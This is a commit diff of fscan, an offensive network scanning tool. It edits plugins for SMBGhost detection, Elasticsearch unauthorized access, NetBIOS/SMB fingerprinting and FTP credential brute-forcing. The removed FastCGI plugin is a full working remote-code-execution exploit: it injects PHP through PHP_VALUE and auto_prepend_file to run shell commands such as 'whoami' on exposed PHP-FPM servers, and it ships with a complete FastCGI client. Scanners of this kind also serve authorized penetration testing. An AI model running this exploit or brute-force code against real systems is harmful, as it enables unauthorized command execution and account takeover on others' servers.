Update README.md

2026-02-15 21:29:17 +08:00 · 2021-02-08 15:15:04 +08:00
383 changed files with 16482 additions and 24345 deletions
--- a/.github/conf/.goreleaser.yml
+++ b/.github/conf/.goreleaser.yml
@@ -1,73 +0,0 @@
-before:
-  hooks:
-    - go mod tidy
-    - go generate ./...
-builds:
-  - id: "with-upx"
-    env:
-      - CGO_ENABLED=0
-    goos:
-      - linux
-      - windows
-      - darwin
-    goarch:
-      - amd64
-      - arm64
-      - arm
-      - "386"
-    goarm:
-      - "6"
-      - "7"
-    flags:
-      - -trimpath
-    ldflags:
-      - -s -w -X main.version={{.Version}} -X main.commit={{.Commit}} -X main.date={{ .CommitDate }} -X main.builtBy=goreleaser
-    ignore:
-      - goos: windows
-        goarch: arm64
-      - goos: windows
-        goarch: arm
-      - goos: linux
-        goarch: mips64
-    hooks:
-       post: upx --best -f -q "{{ .Path }}"
-
-# UnknownExecutableFormatException
-# CantPackException: can't pack new-exe
-  - id: "without-upx"
-    env:
-      - CGO_ENABLED=0
-    goos:
-      - linux
-      - windows
-    goarch:
-      - mips64
-      - arm
-    goarm:
-      - "6"
-      - "7"
-    flags:
-      - -trimpath
-    ldflags:
-      - -s -w -X main.version={{.Version}} -X main.commit={{.Commit}} -X main.date={{ .CommitDate }} -X main.builtBy=goreleaser
-    ignore:
-      - goos: linux
-        goarch: arm
-
-archives:
-  - replacements:
-      darwin: Darwin
-      linux: Linux
-      windows: Windows
-      386: i386
-      amd64: x86_64
-checksum:
-  name_template: 'checksums.txt'
-snapshot:
-  name_template: "{{ incpatch .Version }}-next"
-changelog:
-  sort: asc
-  filters:
-    exclude:
-      - '^docs:'
-      - '^test:'
--- a/.github/workflows/release.yml
+++ b/.github/workflows/release.yml
@@ -1,35 +0,0 @@
-name: goreleaser
-
-on:
-  push:
-    tags:
-      - '*'
-
-permissions:
-  contents: write
-
-jobs:
-  goreleaser:
-    runs-on: ubuntu-latest
-    timeout-minutes: 60
-    steps:
-      -
-        name: Checkout
-        uses: actions/checkout@v2
-        with:
-          fetch-depth: 0
-      -
-        name: Set up Go
-        uses: actions/setup-go@v2
-        with:
-          go-version: 1.17
-      -
-        name: Run GoReleaser
-        uses: goreleaser/goreleaser-action@v2
-        with:
-          distribution: goreleaser
-          version: latest
-          args: -f .github/conf/.goreleaser.yml
-          workdir: .
-        env:
-          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
--- a/LICENSE.txt
+++ b/LICENSE.txt
@@ -1,21 +0,0 @@
-MIT License
-
-Copyright (c) 2021 shadow1ng
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
--- a/Plugins/CVE-2020-0796.go
+++ b/Plugins/CVE-2020-0796.go
@@ -96,22 +96,14 @@ const (
 )

 func SmbGhost(info *common.HostInfo) error {
-	if common.IsBrute {
-		return nil
-	}
 	err := SmbGhostScan(info)
 	return err
 }

 func SmbGhostScan(info *common.HostInfo) error {
 	ip, port, timeout := info.Host, 445, time.Duration(info.Timeout)*time.Second
-	addr := fmt.Sprintf("%s:%v", info.Host, port)
+	addr := fmt.Sprintf("%s:%d", info.Host, port)
 	conn, err := net.DialTimeout("tcp", addr, timeout)
-	defer func() {
-		if conn != nil {
-			conn.Close()
-		}
-	}()
 	if err != nil {
 		return err
 	}
@@ -125,8 +117,9 @@ func SmbGhostScan(info *common.HostInfo) error {
 	if err != nil {
 		return err
 	}
+	defer conn.Close()
 	if bytes.Contains(buff[:n], []byte("Public")) == true {
-		result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip)
+		result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable", ip)
 		common.LogSuccess(result)

 	}
--- a/Plugins/NetBIOS.go
+++ b/Plugins/NetBIOS.go
@@ -1,289 +0,0 @@
-package Plugins
-
-import (
-	"bytes"
-	"fmt"
-	"github.com/shadow1ng/fscan/common"
-	"net"
-	"strconv"
-	"strings"
-	"time"
-)
-
-var (
-	UNIQUE_NAMES = map[string]string{
-		"\x00": "Workstation Service",
-		"\x03": "Messenger Service",
-		"\x06": "RAS Server Service",
-		"\x1F": "NetDDE Service",
-		"\x20": "Server Service",
-		"\x21": "RAS Client Service",
-		"\xBE": "Network Monitor Agent",
-		"\xBF": "Network Monitor Application",
-		"\x1D": "Master Browser",
-		"\x1B": "Domain Master Browser",
-	}
-
-	GROUP_NAMES = map[string]string{
-		"\x00": "Domain Name",
-		"\x1C": "Domain Controllers",
-		"\x1E": "Browser Service Elections",
-	}
-
-	NetBIOS_ITEM_TYPE = map[string]string{
-		"\x01\x00": "NetBIOS computer name",
-		"\x02\x00": "NetBIOS domain name",
-		"\x03\x00": "DNS computer name",
-		"\x04\x00": "DNS domain name",
-		"\x05\x00": "DNS tree name",
-		"\x07\x00": "Time stamp",
-	}
-)
-
-type NbnsName struct {
-	unique    string
-	group     string
-	msg       string
-	osversion string
-}
-
-func NetBIOS(info *common.HostInfo) error {
-	nbname, err := NetBIOS1(info)
-	var msg, isdc string
-
-	if strings.Contains(nbname.msg, "Domain Controllers") {
-		isdc = "[+]DC"
-	}
-	msg += fmt.Sprintf("[*] %-15s%-5s %s\\%-15s   %s", info.Host, isdc, nbname.group, nbname.unique, nbname.osversion)
-
-	if info.Scantype == "netbios" {
-		msg += "\n-------------------------------------------\n" + nbname.msg
-	}
-	if len(nbname.group) > 0 || len(nbname.unique) > 0 {
-		common.LogSuccess(msg)
-	}
-	return err
-}
-
-func NetBIOS1(info *common.HostInfo) (nbname NbnsName, err error) {
-	nbname, err = GetNbnsname(info)
-	var payload0 []byte
-	if err == nil {
-		name := netbiosEncode(nbname.unique)
-		payload0 = append(payload0, []byte("\x81\x00\x00D ")...)
-		payload0 = append(payload0, name...)
-		payload0 = append(payload0, []byte("\x00 EOENEBFACACACACACACACACACACACACA\x00")...)
-	}
-	realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
-	conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
-	defer func() {
-		if conn != nil{
-			conn.Close()
-		}
-	}()
-	if err != nil {
-		return
-	}
-	err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
-	if err != nil {
-		return
-	}
-
-	if info.Ports == "139" && len(payload0) > 0 {
-		_, err1 := conn.Write(payload0)
-		if err1 != nil {
-			return
-		}
-		_, err1 = readbytes(conn)
-		if err1 != nil {
-			return
-		}
-	}
-
-	payload1 := []byte("\x00\x00\x00\x85\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x18\x53\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00")
-	payload2 := []byte("\x00\x00\x01\x0a\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x18\x07\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x40\x00\x0c\xff\x00\x0a\x01\x04\x41\x32\x00\x00\x00\x00\x00\x00\x00\x4a\x00\x00\x00\x00\x00\xd4\x00\x00\xa0\xcf\x00\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\xce\x0e\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x33\x00\x37\x00\x39\x00\x30\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x32\x00\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x65\x00\x72\x00\x20\x00\x32\x00\x30\x00\x30\x00\x33\x00\x20\x00\x35\x00\x2e\x00\x32\x00\x00\x00\x00\x00")
-	_, err = conn.Write(payload1)
-	if err != nil {
-		return
-	}
-	_, err = readbytes(conn)
-	if err != nil {
-		return
-	}
-
-	_, err = conn.Write(payload2)
-	if err != nil {
-		return
-	}
-	ret, err := readbytes(conn)
-	if err != nil || len(ret) < 45 {
-		return
-	}
-
-	num1, err := bytetoint(ret[43:44][0])
-	if err != nil {
-		return
-	}
-	num2, err := bytetoint(ret[44:45][0])
-	if err != nil {
-		return
-	}
-	length := num1 + num2*256
-	if len(ret) < 48+length {
-		return
-	}
-	os_version := ret[47+length:]
-	tmp1 := bytes.ReplaceAll(os_version, []byte{0x00, 0x00}, []byte{124})
-	tmp1 = bytes.ReplaceAll(tmp1, []byte{0x00}, []byte{})
-	msg1 := string(tmp1[:len(tmp1)-1])
-	nbname.osversion = msg1
-	index1 := strings.Index(msg1, "|")
-	if index1 > 0 {
-		nbname.osversion = nbname.osversion[:index1]
-	}
-	nbname.msg += "-------------------------------------------\n"
-	nbname.msg += msg1 + "\n"
-	start := bytes.Index(ret, []byte("NTLMSSP"))
-	if len(ret) < start+45 {
-		return
-	}
-	num1, err = bytetoint(ret[start+40 : start+41][0])
-	if err != nil {
-		return
-	}
-	num2, err = bytetoint(ret[start+41 : start+42][0])
-	if err != nil {
-		return
-	}
-	length = num1 + num2*256
-	num1, err = bytetoint(ret[start+44 : start+45][0])
-	if err != nil {
-		return
-	}
-	offset, err := bytetoint(ret[start+44 : start+45][0])
-	if err != nil || len(ret) < start+offset+length {
-		return
-	}
-	index := start + offset
-	for index < start+offset+length {
-		item_type := ret[index : index+2]
-		num1, err = bytetoint(ret[index+2 : index+3][0])
-		if err != nil {
-			return
-		}
-		num2, err = bytetoint(ret[index+3 : index+4][0])
-		if err != nil {
-			return
-		}
-		item_length := num1 + num2*256
-		item_content := bytes.ReplaceAll(ret[index+4:index+4+item_length], []byte{0x00}, []byte{})
-		index += 4 + item_length
-		if string(item_type) == "\x07\x00" {
-			//Time stamp, 暂时不想处理
-		} else if NetBIOS_ITEM_TYPE[string(item_type)] != "" {
-			nbname.msg += fmt.Sprintf("%-22s: %s\n", NetBIOS_ITEM_TYPE[string(item_type)], string(item_content))
-		} else if string(item_type) == "\x00\x00" {
-			break
-		} else {
-			nbname.msg += fmt.Sprintf("Unknown: %s\n", string(item_content))
-		}
-	}
-	return nbname, err
-}
-
-func GetNbnsname(info *common.HostInfo) (nbname NbnsName, err error) {
-	senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
-	realhost := fmt.Sprintf("%s:%v", info.Host, 137)
-	conn, err := net.DialTimeout("udp", realhost, time.Duration(info.Timeout)*time.Second)
-	defer func() {
-		if conn != nil{
-			conn.Close()
-		}
-	}()
-	if err != nil {
-		return
-	}
-	err = conn.SetDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
-	if err != nil {
-		return
-	}
-	_, err = conn.Write(senddata1)
-	if err != nil {
-		return
-	}
-	text, err := readbytes(conn)
-	if err != nil {
-		return
-	}
-	if len(text) < 57 {
-		return nbname, fmt.Errorf("no names available")
-	}
-	num, err := bytetoint(text[56:57][0])
-	if err != nil {
-		return
-	}
-	data := text[57:]
-	var msg string
-	for i := 0; i < num; i++ {
-		if len(data) < 18*i+16 {
-			break
-		}
-		name := string(data[18*i : 18*i+15])
-		flag_bit := data[18*i+15 : 18*i+16]
-		if GROUP_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
-			msg += fmt.Sprintf("%s G %s\n", name, GROUP_NAMES[string(flag_bit)])
-		} else if UNIQUE_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
-			msg += fmt.Sprintf("%s U %s\n", name, UNIQUE_NAMES[string(flag_bit)])
-		} else if string(flag_bit) == "\x00" || len(data) >= 18*i+18 {
-			name_flags := data[18*i+16 : 18*i+18][0]
-			if name_flags >= 128 {
-				nbname.group = strings.Replace(name, " ", "", -1)
-				msg += fmt.Sprintf("%s G %s\n", name, GROUP_NAMES[string(flag_bit)])
-			} else {
-				nbname.unique = strings.Replace(name, " ", "", -1)
-				msg += fmt.Sprintf("%s U %s\n", name, UNIQUE_NAMES[string(flag_bit)])
-			}
-		} else {
-			msg += fmt.Sprintf("%s \n", name)
-		}
-	}
-	nbname.msg += msg
-	return
-}
-
-func readbytes(conn net.Conn) (result []byte, err error) {
-	buf := make([]byte, 4096)
-	for {
-		count, err := conn.Read(buf)
-		if err != nil {
-			break
-		}
-		result = append(result, buf[0:count]...)
-		if count < 4096 {
-			break
-		}
-	}
-	return result, err
-}
-
-func bytetoint(text byte) (int, error) {
-	num1 := fmt.Sprintf("%v", text)
-	num, err := strconv.Atoi(num1)
-	return num, err
-}
-
-func netbiosEncode(name string) (output []byte) {
-	var names []int
-	src := fmt.Sprintf("%-16s", name)
-	for _, a := range src {
-		char_ord := int(a)
-		high_4_bits := char_ord >> 4
-		low_4_bits := char_ord & 0x0f
-		names = append(names, high_4_bits, low_4_bits)
-	}
-	for _, one := range names {
-		out := (one + 0x41)
-		output = append(output, byte(out))
-	}
-	return
-}
--- a/Plugins/base.go
+++ b/Plugins/base.go
@@ -1,22 +1,18 @@
 package Plugins

 var PluginList = map[string]interface{}{
-	"21":       FtpScan,
-	"22":       SshScan,
-	"135":      Findnet,
-	"139":      NetBIOS,
-	"445":      SmbScan,
-	"1433":     MssqlScan,
-	"1521":     OracleScan,
-	"3306":     MysqlScan,
-	"3389":     RdpScan,
-	"5432":     PostgresScan,
-	"6379":     RedisScan,
-	"9000":     FcgiScan,
-	"11211":    MemcachedScan,
-	"27017":    MongodbScan,
-	"1000001":  MS17010,
-	"1000002":  SmbGhost,
-	"1000003":  WebTitle,
-	"10000031": WebTitle,
+	"21": FtpScan,
+	"22": SshScan,
+	"135": Findnet,
+	"445": SmbScan,
+	"1433":MssqlScan,
+	"3306": MysqlScan,
+	"5432": PostgresScan,
+	"6379": RedisScan,
+	"9200":elasticsearchScan,
+	"11211":MemcachedScan,
+	"27017":MongodbScan,
+	"1000001": MS17010,
+	"1000002": SmbGhost,
+	"1000003":WebTitle,
 }
--- a/Plugins/elasticsearch.go
+++ b/Plugins/elasticsearch.go
@@ -0,0 +1,57 @@
+package Plugins
+
+import (
+	"crypto/tls"
+	"fmt"
+	"io/ioutil"
+	"net"
+	"net/http"
+	"strings"
+	"time"
+
+	"github.com/shadow1ng/fscan/common"
+)
+
+func elasticsearchScan(info *common.HostInfo) error {
+	_, err := geturl2(info)
+	return err
+}
+
+func geturl2(info *common.HostInfo) (flag bool, err error) {
+	flag = false
+	url := fmt.Sprintf("%s:%d/_cat", info.Url, common.PORTList["elastic"])
+	var client = &http.Client{
+		Timeout: time.Duration(info.WebTimeout) * time.Second,
+		Transport: &http.Transport{
+			TLSClientConfig:   &tls.Config{InsecureSkipVerify: true},
+			DisableKeepAlives: false,
+			DialContext: (&net.Dialer{
+				Timeout: time.Duration(info.WebTimeout) * time.Second,
+			}).DialContext,
+		},
+		CheckRedirect: func(req *http.Request, via []*http.Request) error {
+			return http.ErrUseLastResponse
+		},
+	}
+
+	res, err := http.NewRequest("GET", url, nil)
+	if err == nil {
+		res.Header.Add("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
+		res.Header.Add("Accept", "*/*")
+		res.Header.Add("Accept-Language", "zh-CN,zh;q=0.9")
+		res.Header.Add("Accept-Encoding", "gzip, deflate")
+		res.Header.Add("Connection", "close")
+		resp, err := client.Do(res)
+
+		if err == nil {
+			defer resp.Body.Close()
+			body, _ := ioutil.ReadAll(resp.Body)
+			if strings.Contains(string(body), "/_cat/master") {
+				result := fmt.Sprintf("Elastic:%s unauthorized", url)
+				common.LogSuccess(result)
+				flag = true
+			}
+		}
+	}
+	return flag, err
+}
--- a/Plugins/fcgiscan.go
+++ b/Plugins/fcgiscan.go
@@ -1,373 +0,0 @@
-package Plugins
-
-import (
-	"bufio"
-	"bytes"
-	"encoding/binary"
-	"errors"
-	"fmt"
-	"github.com/shadow1ng/fscan/common"
-	"io"
-	"net"
-	"strconv"
-	"strings"
-	"sync"
-	"time"
-)
-
-//links
-//https://xz.aliyun.com/t/9544
-//https://github.com/wofeiwo/webcgi-exploits
-
-func FcgiScan(info *common.HostInfo) {
-	if common.IsBrute {
-		return
-	}
-	url := "/etc/issue"
-	if info.Path != "" {
-		url = info.Path
-	}
-	addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
-	var reqParams string
-	var cutLine = "-----ASDGTasdkk361363s-----\n"
-	switch {
-	case info.Command == "read":
-		reqParams = ""
-	case info.Command != "":
-		reqParams = "<?php system('" + info.Command + "');die('" + cutLine + "');?>"
-	default:
-		reqParams = "<?php system('whoami');die('" + cutLine + "');?>"
-	}
-
-	env := make(map[string]string)
-
-	env["SCRIPT_FILENAME"] = url
-	env["DOCUMENT_ROOT"] = "/"
-	env["SERVER_SOFTWARE"] = "go / fcgiclient "
-	env["REMOTE_ADDR"] = "127.0.0.1"
-	env["SERVER_PROTOCOL"] = "HTTP/1.1"
-
-	if len(reqParams) != 0 {
-		env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams))
-		env["REQUEST_METHOD"] = "POST"
-		env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nauto_prepend_file = php://input"
-	} else {
-		env["REQUEST_METHOD"] = "GET"
-	}
-
-	fcgi, err := New(addr, info.Timeout)
-	defer func() {
-		if fcgi.rwc != nil {
-			fcgi.rwc.Close()
-		}
-	}()
-	if err != nil {
-		errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err)
-		common.LogError(errlog)
-		return
-	}
-
-	stdout, stderr, err := fcgi.Request(env, reqParams)
-	if err != nil {
-		errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err)
-		common.LogError(errlog)
-		return
-	}
-
-	//1
-	//Content-type: text/html
-	//
-	//uid=1001(www) gid=1001(www) groups=1001(www)
-
-	//2
-	//Status: 404 Not Found
-	//Content-type: text/html
-	//
-	//File not found.
-	//Primary script unknown
-
-	//3
-	//Status: 403 Forbidden
-	//Content-type: text/html
-	//
-	//Access denied.
-	//Access to the script '/etc/passwd' has been denied (see security.limit_extensions)
-	var result string
-	var output = string(stdout)
-	if strings.Contains(string(stdout), cutLine) { //命令成功回显
-		output = strings.SplitN(string(stdout), cutLine, 2)[0]
-		if len(stderr) > 0 {
-			result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr))
-		} else {
-			result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, output)
-		}
-		common.LogSuccess(result)
-	} else if strings.Contains(string(stdout), "File not found") || strings.Contains(string(stdout), "Content-type") || strings.Contains(string(stdout), "Status") {
-		if len(stderr) > 0 {
-			result = fmt.Sprintf("[+] FCGI:%v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, string(stdout), string(stderr))
-		} else {
-			result = fmt.Sprintf("[+] FCGI:%v:%v \n%v", info.Host, info.Ports, string(stdout))
-		}
-		common.LogSuccess(result)
-	}
-}
-
-// for padding so we don't have to allocate all the time
-// not synchronized because we don't care what the contents are
-var pad [maxPad]byte
-
-const (
-	FCGI_BEGIN_REQUEST uint8 = iota + 1
-	FCGI_ABORT_REQUEST
-	FCGI_END_REQUEST
-	FCGI_PARAMS
-	FCGI_STDIN
-	FCGI_STDOUT
-	FCGI_STDERR
-)
-
-const (
-	FCGI_RESPONDER uint8 = iota + 1
-)
-
-const (
-	maxWrite = 6553500 // maximum record body
-	maxPad   = 255
-)
-
-type header struct {
-	Version       uint8
-	Type          uint8
-	Id            uint16
-	ContentLength uint16
-	PaddingLength uint8
-	Reserved      uint8
-}
-
-func (h *header) init(recType uint8, reqId uint16, contentLength int) {
-	h.Version = 1
-	h.Type = recType
-	h.Id = reqId
-	h.ContentLength = uint16(contentLength)
-	h.PaddingLength = uint8(-contentLength & 7)
-}
-
-type record struct {
-	h   header
-	buf [maxWrite + maxPad]byte
-}
-
-func (rec *record) read(r io.Reader) (err error) {
-	if err = binary.Read(r, binary.BigEndian, &rec.h); err != nil {
-		return err
-	}
-	if rec.h.Version != 1 {
-		return errors.New("fcgi: invalid header version")
-	}
-	n := int(rec.h.ContentLength) + int(rec.h.PaddingLength)
-	if _, err = io.ReadFull(r, rec.buf[:n]); err != nil {
-		return err
-	}
-	return nil
-}
-
-func (r *record) content() []byte {
-	return r.buf[:r.h.ContentLength]
-}
-
-type FCGIClient struct {
-	mutex     sync.Mutex
-	rwc       io.ReadWriteCloser
-	h         header
-	buf       bytes.Buffer
-	keepAlive bool
-}
-
-func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
-	conn, err := net.DialTimeout("tcp", addr, time.Duration(timeout)*time.Second)
-	fcgi = &FCGIClient{
-		rwc:       conn,
-		keepAlive: false,
-	}
-	return
-}
-
-func (this *FCGIClient) writeRecord(recType uint8, reqId uint16, content []byte) (err error) {
-	this.mutex.Lock()
-	defer this.mutex.Unlock()
-	this.buf.Reset()
-	this.h.init(recType, reqId, len(content))
-	if err := binary.Write(&this.buf, binary.BigEndian, this.h); err != nil {
-		return err
-	}
-	if _, err := this.buf.Write(content); err != nil {
-		return err
-	}
-	if _, err := this.buf.Write(pad[:this.h.PaddingLength]); err != nil {
-		return err
-	}
-	_, err = this.rwc.Write(this.buf.Bytes())
-	return err
-}
-
-func (this *FCGIClient) writeBeginRequest(reqId uint16, role uint16, flags uint8) error {
-	b := [8]byte{byte(role >> 8), byte(role), flags}
-	return this.writeRecord(FCGI_BEGIN_REQUEST, reqId, b[:])
-}
-
-func (this *FCGIClient) writeEndRequest(reqId uint16, appStatus int, protocolStatus uint8) error {
-	b := make([]byte, 8)
-	binary.BigEndian.PutUint32(b, uint32(appStatus))
-	b[4] = protocolStatus
-	return this.writeRecord(FCGI_END_REQUEST, reqId, b)
-}
-
-func (this *FCGIClient) writePairs(recType uint8, reqId uint16, pairs map[string]string) error {
-	w := newWriter(this, recType, reqId)
-	b := make([]byte, 8)
-	for k, v := range pairs {
-		n := encodeSize(b, uint32(len(k)))
-		n += encodeSize(b[n:], uint32(len(v)))
-		if _, err := w.Write(b[:n]); err != nil {
-			return err
-		}
-		if _, err := w.WriteString(k); err != nil {
-			return err
-		}
-		if _, err := w.WriteString(v); err != nil {
-			return err
-		}
-	}
-	w.Close()
-	return nil
-}
-
-func readSize(s []byte) (uint32, int) {
-	if len(s) == 0 {
-		return 0, 0
-	}
-	size, n := uint32(s[0]), 1
-	if size&(1<<7) != 0 {
-		if len(s) < 4 {
-			return 0, 0
-		}
-		n = 4
-		size = binary.BigEndian.Uint32(s)
-		size &^= 1 << 31
-	}
-	return size, n
-}
-
-func readString(s []byte, size uint32) string {
-	if size > uint32(len(s)) {
-		return ""
-	}
-	return string(s[:size])
-}
-
-func encodeSize(b []byte, size uint32) int {
-	if size > 127 {
-		size |= 1 << 31
-		binary.BigEndian.PutUint32(b, size)
-		return 4
-	}
-	b[0] = byte(size)
-	return 1
-}
-
-// bufWriter encapsulates bufio.Writer but also closes the underlying stream when
-// Closed.
-type bufWriter struct {
-	closer io.Closer
-	*bufio.Writer
-}
-
-func (w *bufWriter) Close() error {
-	if err := w.Writer.Flush(); err != nil {
-		w.closer.Close()
-		return err
-	}
-	return w.closer.Close()
-}
-
-func newWriter(c *FCGIClient, recType uint8, reqId uint16) *bufWriter {
-	s := &streamWriter{c: c, recType: recType, reqId: reqId}
-	w := bufio.NewWriterSize(s, maxWrite)
-	return &bufWriter{s, w}
-}
-
-// streamWriter abstracts out the separation of a stream into discrete records.
-// It only writes maxWrite bytes at a time.
-type streamWriter struct {
-	c       *FCGIClient
-	recType uint8
-	reqId   uint16
-}
-
-func (w *streamWriter) Write(p []byte) (int, error) {
-	nn := 0
-	for len(p) > 0 {
-		n := len(p)
-		if n > maxWrite {
-			n = maxWrite
-		}
-		if err := w.c.writeRecord(w.recType, w.reqId, p[:n]); err != nil {
-			return nn, err
-		}
-		nn += n
-		p = p[n:]
-	}
-	return nn, nil
-}
-
-func (w *streamWriter) Close() error {
-	// send empty record to close the stream
-	return w.c.writeRecord(w.recType, w.reqId, nil)
-}
-
-func (this *FCGIClient) Request(env map[string]string, reqStr string) (retout []byte, reterr []byte, err error) {
-
-	var reqId uint16 = 1
-	defer this.rwc.Close()
-
-	err = this.writeBeginRequest(reqId, uint16(FCGI_RESPONDER), 0)
-	if err != nil {
-		return
-	}
-	err = this.writePairs(FCGI_PARAMS, reqId, env)
-	if err != nil {
-		return
-	}
-	if len(reqStr) > 0 {
-		err = this.writeRecord(FCGI_STDIN, reqId, []byte(reqStr))
-		if err != nil {
-			return
-		}
-	}
-
-	rec := &record{}
-	var err1 error
-
-	// recive untill EOF or FCGI_END_REQUEST
-	for {
-		err1 = rec.read(this.rwc)
-		if err1 != nil {
-			if err1 != io.EOF {
-				err = err1
-			}
-			break
-		}
-		switch {
-		case rec.h.Type == FCGI_STDOUT:
-			retout = append(retout, rec.content()...)
-		case rec.h.Type == FCGI_STDERR:
-			reterr = append(reterr, rec.content()...)
-		case rec.h.Type == FCGI_END_REQUEST:
-			fallthrough
-		default:
-			break
-		}
-	}
-
-	return
-}
--- a/Plugins/findnet.go
+++ b/Plugins/findnet.go
@@ -22,13 +22,8 @@ func Findnet(info *common.HostInfo) error {
 }

 func FindnetScan(info *common.HostInfo) error {
-	realhost := fmt.Sprintf("%s:%v", info.Host, 135)
+	realhost := fmt.Sprintf("%s:%d", info.Host, 135)
 	conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
-	defer func() {
-		if conn != nil {
-			conn.Close()
-		}
-	}()
 	if err != nil {
 		return err
 	}
@@ -36,6 +31,7 @@ func FindnetScan(info *common.HostInfo) error {
 	if err != nil {
 		return err
 	}
+	defer conn.Close()
 	_, err = conn.Write(bufferV1)
 	if err != nil {
 		return err
@@ -71,7 +67,7 @@ func read(text []byte, host string) error {
 	encodedStr := hex.EncodeToString(text)
 	hostnames := strings.Replace(encodedStr, "0700", "", -1)
 	hostname := strings.Split(hostnames, "000000")
-	result := "[+] NetInfo:\n[*]" + host
+	result := "NetInfo:\n[*]" + host
 	for i := 0; i < len(hostname); i++ {
 		hostname[i] = strings.Replace(hostname[i], "00", "", -1)
 		host, err := hex.DecodeString(hostname[i])
--- a/Plugins/ftp.go
+++ b/Plugins/ftp.go
@@ -9,22 +9,6 @@ import (
 )

 func FtpScan(info *common.HostInfo) (tmperr error) {
-	if common.IsBrute {
-		return
-	}
-	starttime := time.Now().Unix()
-	flag, err := FtpConn(info, "anonymous", "")
-	if flag == true && err == nil {
-		return err
-	} else {
-		errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v", info.Host, info.Ports, "anonymous", err)
-		common.LogError(errlog)
-		tmperr = err
-		if common.CheckErrs(err) {
-			return err
-		}
-	}
-
 	for _, user := range common.Userdict["ftp"] {
 		for _, pass := range common.Passwords {
 			pass = strings.Replace(pass, "{user}", user, -1)
@@ -32,15 +16,9 @@ func FtpScan(info *common.HostInfo) (tmperr error) {
 			if flag == true && err == nil {
 				return err
 			} else {
-				errlog := fmt.Sprintf("[-] ftp://%v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
+				errlog := fmt.Sprintf("[-] ftp %v %v %v %v %v", info.Host, common.PORTList["ftp"], user, pass, err)
